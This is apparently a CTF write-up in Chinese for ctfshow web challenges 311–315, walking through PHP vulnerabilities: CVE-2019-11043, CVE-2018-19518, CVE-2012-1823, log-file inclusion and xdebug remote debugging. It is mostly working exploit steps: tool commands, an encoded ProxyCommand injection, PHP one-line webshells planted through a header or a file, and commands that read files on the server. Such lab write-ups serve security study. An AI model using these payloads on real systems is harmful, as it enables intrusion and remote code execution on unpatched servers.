ctfshow web入门phpcve web311-315
1.web311
通过抓包发现php版本时为PHP/7.1.33dev
漏洞cve2019-11043 远程代码执行漏洞
利用条件: nginx配置了fastcgi_split_path_info
受影响系统: PHP 5.6-7.x,Nginx>=0.7.31
下载工具进行利用
需要安装go环境
yum install golang -y
或者
apt install golang
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
利用:
go run . url/index.php
查看flag在什么位置
url/index.php?a=ls
2.web312
抓包版本
PHP/5.6.38
漏洞编号 CVE-2018-19518 远程命令执行漏洞
<?php
$a= base64_encode('<?php @eval($_POST[1]);?>');
echo base64_encode("echo $a | base64 -d >/var/www/html/1.php")
?>
抓包hostname传入 ,写入了一句哈木马,密码为1
x+-oProxyCommand%3decho%09ZWNobyBQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXekZkS1RzL1BnPT0gfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvMS5waHA=|base64%09-d|sh}
post传入,查看flag位置
1=system('ls');
读取flag
1=system('cat ctfshowfl4g ');
3.web 313
php版本PHP/5.4.1
编号CVE-2012-1823 远程代码执行漏洞
burp抓包
index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php system("ls");?>
<?php system("cat /somewhere/fla9.txt");?>
4.web314
文件包含漏洞,过滤了冒号,一些伪协议用不了了,可以使用ua头日志包含
burp抓包ua写入一句话木马,包含日志文件
改为post方式
/?f=/var/log/nginx/access.log
ua头写入
<?php @eval($_POST[10])?>
post传入
10=system('ls /');
10=system('cat /fl6g');
5.web315
xdebug 9000 远程调试漏洞
利用脚本
需要有公网ip
会监听本地9000端口
python exp.py -t url/index.php -c 'shell_exec("ls /");'
直接访问即可
参考文章:
web311-315